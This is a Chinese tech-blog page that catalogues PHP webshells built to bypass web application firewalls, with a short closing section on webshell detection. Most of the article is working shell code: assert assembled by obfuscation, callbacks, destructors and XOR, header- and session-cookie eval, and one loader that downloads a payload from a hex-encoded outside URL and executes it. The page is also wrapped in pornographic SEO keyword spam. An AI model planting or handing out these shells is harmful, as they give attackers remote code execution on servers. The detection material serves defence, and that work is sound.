91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP中waf webshell的示例分析

發布時間:2021-07-16 12:48:44 來源:億速云 閱讀:236 作者:小新 欄目:開發技術

這篇文章主要介紹PHP中waf webshell的示例分析,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

常見繞過WAF的PHP webshell

字符串變形

大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自寫函數

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回調函數

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔術方法、析構函數 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等發起網絡請求再結合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

無字符特征馬

編碼、異或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊請求頭

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局變量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami為例

就是將函數名、變量名全部變成”亂碼”,且改動任意一個地方,都將導致文件不能運行。具體可訪問: https://www.phpjiami.com/

PHP webshell檢測方法

目前我所了解的webshell檢測方式有:

  1. 機器學習檢測webshell:比如混淆度、最長單詞、重合指數、特征、壓縮比等

  2. 動態檢測(沙箱)

  3. 基于流量模式檢測webshell:agent

  4. 逆向算法+靜態匹配檢測webshell:比如D盾webshell查殺

  5. 根據文件入度出度來檢測

實例展示

這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬

PHP中waf webshell的示例分析

可以明顯看到明顯的webshell規則了,這樣再用靜態規則、正則等即可輕松檢測到。

簡單檢測思路

檢測思路:

文件上傳->文件包含->獲取所有文件中的變量到臨時文件中->靜態規則匹配臨時文件->返回匹配結果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是諸如下列的靜態檢測規則

PHP中waf webshell的示例分析

以上是“PHP中waf webshell的示例分析”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

建德市| 镇坪县| 商丘市| 中阳县| 徐州市| 油尖旺区| 高青县| 中卫市| 永吉县| 茶陵县| 驻马店市| 布拖县| 芦山县| 双桥区| 南部县| 巴东县| 嘉祥县| 武宣县| 民勤县| 敦化市| 宝鸡市| 巴里| 锡林浩特市| 重庆市| 青龙| 太仆寺旗| 齐齐哈尔市| 蓬安县| 佛冈县| 许昌市| 罗山县| 满城县| 乌什县| 东平县| 沙田区| 常州市| 水城县| 徐州市| 监利县| 金塔县| 泗阳县|